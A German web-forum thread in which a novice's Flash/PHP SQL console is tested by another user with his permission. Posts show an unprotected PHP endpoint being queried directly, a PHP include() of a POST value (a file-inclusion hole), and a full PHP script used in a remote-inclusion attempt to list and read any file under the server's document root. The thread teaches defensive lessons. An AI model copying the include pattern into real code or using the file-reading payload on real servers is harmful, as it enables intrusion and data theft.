Zurück   Flashforum > Flash > ActionScript > ActionScript 3

Antwort
 
LinkBack Themen-Optionen Ansicht
Alt 26-10-2011, 19:52   #1 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
Flash SQL Console

LINK

wie versprochen hier meine sql console mit der man alles abfragen /ändern /erzeugen/löschen kann sofern man das passwort kennt.

Falls ihr der Meinung seid es sei nicht sicher versucht bitte irgendwas in die datenbank zu schreiben oder zu ändern durch irgendeine injection ^^


Damit ihr auch alles drauf anwenden könnt um wirklich festzustellen wie sicher es ist hab die anzahl der versuche nicht eingeschränkt und auch keine IP sperre nach erfolglosen versuchen integriert.

Viel Glück

Geändert von pixelsadist (26-10-2011 um 20:17 Uhr)
pixelsadist ist offline   Mit Zitat antworten
Alt 27-10-2011, 02:54   #2 (permalink)
Keine Panik
 
Registriert seit: Apr 2010
Ort: Düsseldorf (im ernst)
Beiträge: 1.867
Verdammt bin ich in SQL eingerostet; das muss ich dringendst mal auffrischen.

Zitat:
Viel Glück
mach ma:
Code:
SELECT * FROM flashforum
und ein Auszug aus SHOW VARIABLES:
Code:
antwort=
 || Variable Name | value | 
 || hostname | Server2 | 
 || basedir | /usr/local/mysql | 
 || general_log_file | /users/_sql/mysql/Server2.log | 
 || version | 5.5.16 | 
 || version_comment | MySQL Community Server (GPL) | 
 || version_compile_machine | x86_64 | 
 || version_compile_os | linux2.6 |
und ich bin ein Laie auf dem Gebiet
__________________
greetz Thomas

plz RTFM & Coding Conventions
thomas_E ist gerade online   Mit Zitat antworten
Alt 27-10-2011, 03:00   #3 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
LOL du wunderknabe ^^

wenn du mir noch erzählst wie du es gemacht hast kann ich mir was neues überlegen wie ich diese sicherheitslücke schliessen kann ^^

Hast du das DB passwort rausgefunden oder nur über die Flashseite?

Geändert von pixelsadist (27-10-2011 um 03:09 Uhr)
pixelsadist ist offline   Mit Zitat antworten
Alt 27-10-2011, 03:10   #4 (permalink)
Keine Panik
 
Registriert seit: Apr 2010
Ort: Düsseldorf (im ernst)
Beiträge: 1.867
nix wunderknabe, nur etwas rumprobieren

ich hab swf und passworteingabe umgangen, und direkt die sql_console.php genutzt, als ich entdeckt hab, dass die komplett ungeschützt ist.

mal ganz nebenbei, auch die anderen PHP-Dateien könnten von jemandem erfahrenen geknackt werden, da diese in einem ungeschützten Ordner liegen.

hier noch mehr lektüre:
[tutorial] PHP Code Injection
http://hakipedia.com/index.php/Poison_Null_Byte
http://hakipedia.com/index.php/Local_File_Inclusion
und die Schwachstelle ist überall das selbe, nämlich dass was du da gerade baust und abzusichern versuchst. Ein ungeprüfte Verarbeitung von Benutzereingaben (ich mein nicht das Passwort, sondern das Query)
__________________
greetz Thomas

plz RTFM & Coding Conventions

Geändert von thomas_E (27-10-2011 um 03:15 Uhr)
thomas_E ist gerade online   Mit Zitat antworten
Alt 27-10-2011, 03:28   #5 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
kannst dir garnicht vorstellen wie sehr du mir hilfst ^^ thx nochmal ,

Ich werde später drauf zurückkommen wegen geschütztem Bereich etc..^^
pixelsadist ist offline   Mit Zitat antworten
Alt 27-10-2011, 04:04   #6 (permalink)
Keine Panik
 
Registriert seit: Apr 2010
Ort: Düsseldorf (im ernst)
Beiträge: 1.867
Zitat:
Ich werde später drauf zurückkommen wegen geschütztem Bereich etc.
pack zumindest ne htaccess-Datei da rein mit nem Passwort, wenn man den Ordner direkt aufrufen will.
idealerweise wäre es jedoch, wenn du den PHP-Ordner ausserhalb des root-Ordners plazierst (dann ist er im Browser gar nicht mehr adressierbar). das wird aber idr. nur dann möglich sein, wenn du root-rechte aufm Server hast hast.

schau dir auch mal mod_rewrite an. und damit dann (fast) alle Anfragen an eine php-Datei umleiten (ja, es könne auch mehrere sein, aber das war mir dann mit den RewriteRules zu kompliziert)
damit kann man deine Odnerstruktur nicht mehr auslesen, und auch keine PHP-Dateien mehr direkt ansprechen.
als ausnahmen würde ich nur je einen JS, CSS und Images-Ordner ansehen. ALLES andere (gültig oder nicht) wird in die zentrale php-datei geleitet, und dort verarbeitet.
__________________
greetz Thomas

plz RTFM & Coding Conventions
thomas_E ist gerade online   Mit Zitat antworten
Alt 27-10-2011, 04:30   #7 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
ich teste es gerade mit der htaccess variante.Der php ordner ist geschützt aber wenn ich in flash bei der sql console auf senden klicke und die scripte ausgeführt werden, öffnet sich die htaccess-passwortaufforderung.Wie kann ich das vermeiden ?

die sieht momentan so aus:

AuthUserFile /users/pixelsadist/www/sql/php/.htpasswd
AuthName "V"
AuthType Basic
require valid-user
Options -Indexes
IndexIgnore *.php *.txt *.jpg *.ico *.png *.js *.css *.flv

Geändert von pixelsadist (27-10-2011 um 05:08 Uhr)
pixelsadist ist offline   Mit Zitat antworten
Alt 27-10-2011, 05:34   #8 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
habs nur mit "Deny from all" versucht aber damit funktioniert die flashseite auch nicht
pixelsadist ist offline   Mit Zitat antworten
Alt 27-10-2011, 07:10   #9 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
ok also sofern ich das richtig verstanden habe hat bisher die flashdatei durch die verwendung des zielpfades der php dateien den gleichen effekt wie wenn man die php dateien direkt aufruft deshalb hat deny from all bei der ausführung der php scripte nicht funktioniert.

-ich hab in dem php ordner ein htaccess eingefügt dieses enthält nur "deny from all
Somit wird nix angezeigt wenn ich die php dateien direkt aufrufe(konnte sowieso über den browser davor auch nichts abrufen , habs aber auch mit einer normalen txt datei getestet und es funktioniert).

- danach hab ich eine umleitung.php in dem hauptordner der flashseite geschrieben , diese sieht so aus:

PHP-Code:
<?php 

$php_adresse 
$_POST['zieladresse'];
include(
$php_adresse);

?>

und jedes script das in flash aufgerufen wird sendet/empfängt die daten nur an/von umleitung.php mit einer zusätzlichen variable in der die entsprechende zieladresse der eigentlichen php datei enthalten ist .

Somit werden die scripte von der flashseite weiterhin ausgeführt und gleichzeitig die php dateien geschützt.


Ob Thomas es vielleicht testen könnte ?!?!? ^^

Geändert von pixelsadist (27-10-2011 um 07:32 Uhr)
pixelsadist ist offline   Mit Zitat antworten
Alt 27-10-2011, 16:21   #10 (permalink)
Keine Panik
 
Registriert seit: Apr 2010
Ort: Düsseldorf (im ernst)
Beiträge: 1.867
sry, wenn ich das so hart sagen muss, aber du hast echt mehr glück als Verstand

Code:
Warning: include() [function.include]: http:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /users/pixelsadist/www/sql/umleitung.php on line 4

Warning: include(http://www.xxxxxxxxxx.de/show.txt) [function.include]: failed to open stream: no suitable wrapper could be found in /users/pixelsadist/www/sql/umleitung.php on line 4

Warning: include() [function.include]: Failed opening 'http://www.xxxxxxxxxx.de/show.txt' for inclusion (include_path='.') in /users/pixelsadist/www/sql/umleitung.php on line 4
nur zur Info, in der show.txt steht folgendes:
PHP-Code:
<?php
    
function parseFolder($folder)
    {
        foreach(
scandir($folder) as $entry){
            if(
$entry == "." || $entry == "..") continue;
            
$entry "$folder/$entry";
            if(
is_dir($entry)){
                
parseFolder($entry);
            }else{
                echo 
'<input type="submit" name="file" value="'.$entry.'" /><br/>';
            }
        }
    }

    if(!empty(
$_POST['file'])){
//zeigt mir die ausgewählte Datei Klartext an
        
header("Content-Type: text/plain"true);
        echo 
file_get_contents($_POST['file']);
    }else{
//gibt mir ein schönes formular aus, mit 1Button/Datei
        
echo '<html><head></head><body><form action="'.$_SERVER["REQUEST_URI"].'" method="POST">';
        foreach(
$_POST as $key => $valueprintf('<input type="hidden" name="%s" value="%s" />'$key$value);
        
parseFolder($_SERVER["DOCUMENT_ROOT"], "");
        echo 
'</form></body></html>';
    }
?>
1. LÖSCH SOFORT DIE umleitung.php VON DEINEM SERVER
2. LIES DIR DIE VERLINKTEN SEITEN DURCH !!!
3. MACH SOWAS NIE WIEDER AUF EINEM SYSTEM DAS ONLINE ERREICHBAR IST
__________________
greetz Thomas

plz RTFM & Coding Conventions

Geändert von thomas_E (27-10-2011 um 16:25 Uhr)
thomas_E ist gerade online   Mit Zitat antworten
Alt 27-10-2011, 16:41   #11 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
keine Sorge der server dient nur zu testzwecken.

Eine kurze aufklärung wäre nett ^^. War mein Versuch mit include für die katz ? ^^

Geändert von pixelsadist (27-10-2011 um 16:45 Uhr)
pixelsadist ist offline   Mit Zitat antworten
Alt 27-10-2011, 16:53   #12 (permalink)
Keine Panik
 
Registriert seit: Apr 2010
Ort: Düsseldorf (im ernst)
Beiträge: 1.867
dein Versuch mit inclide ist höchst gefährlich. dich hat nur deine Server-Cofiguration davor geschützt, dass den Inhalt meiner show.txt als PHP-Code auf deinem Server ausführen konnte.

PHP-Code:
keine Sorge der server dient nur zu testzwecken
na dann, alles gute
bei soviel leichtsinn und entgegen jeder belehrung kannst du es gebrauchen
__________________
greetz Thomas

plz RTFM & Coding Conventions
thomas_E ist gerade online   Mit Zitat antworten
Alt 27-10-2011, 17:02   #13 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
bin ja dabei es zu ändern, ich versuch die eingabedaten erstmal zu filtern und include zu vermeiden

Geändert von pixelsadist (27-10-2011 um 17:07 Uhr)
pixelsadist ist offline   Mit Zitat antworten
Alt 28-10-2011, 02:05   #14 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
ich hab es umgeschrieben, jetzt werden all übergebenen adressevariablen mit dem inhalt eines array vergliechen falls diese nicht vorhanden sind kommt es zur keiner weiteren verarbeitung aller übergebenen variablen. Ich glaube die php dateien sind ziemlich "sicher" .
Wenn thomas jetzt versuchen könnte etwas in die db zu schreiben ^^ ??!!??!?

Geändert von pixelsadist (28-10-2011 um 02:17 Uhr)
pixelsadist ist offline   Mit Zitat antworten
Alt 28-10-2011, 18:33   #15 (permalink)
Neuer User
 
Registriert seit: Oct 2011
Beiträge: 77
ich hab ne weitere sicherheitslücke gefunden. Falls der Angreifer eine schlüsselvariable übergibt die im array vorkommt kommt es zur include dieser pfadvariable die eine php datei lädt aus dem geschützten php ordner und kann somit die weitere übergebenen variablen an diese geschützten php datei die ja mit include geladen wird manipulieren deshalb werde ich jetzt alle übergebene variablen mit einem key verschlüsseln an php senden und mit dem gleichen key entschlüsseln so besteht keine möglichkeit für den angreifer irgendwas zu verändern sofern er den key nicht kennt und wie sicher der key ist hängt von dem genutzen verschlüsselungsalgorithmus ab.

Geändert von pixelsadist (28-10-2011 um 18:39 Uhr)
pixelsadist ist offline   Mit Zitat antworten
Antwort

Lesezeichen

Themen-Optionen
Ansicht

Forumregeln
Es ist Ihnen nicht erlaubt, neue Themen zu verfassen.
Es ist Ihnen nicht erlaubt, auf Beiträge zu antworten.
Es ist Ihnen nicht erlaubt, Anhänge hochzuladen.
Es ist Ihnen nicht erlaubt, Ihre Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks sind an
Pingbacks sind an
Refbacks sind an


Ähnliche Themen
Thema Autor Forum Antworten Letzter Beitrag
Flash Error-Console geht ab ... kohlikohl Flash CS3 Professional 2 09-10-2008 14:28
Console deaktiviert? gimiatlicho Flash Einsteiger 1 06-05-2008 09:17
Admin Console (Ports) elduderino Flash Media Server 0 11-05-2007 12:05
symantec ghost console cRaZy Chrisi Am Rande 3 20-01-2004 14:31
Debug Console - Security Sandbox Violation tertiaer ActionScript 1 1 15-04-2002 08:05


Alle Zeitangaben in WEZ +1. Es ist jetzt 13:05 Uhr.

Domains, Webhosting & Vserver von Host Europe
Unterstützt das Flashforum!
Adobe User Group


Copyright ©1999 – 2012 Marc Thiele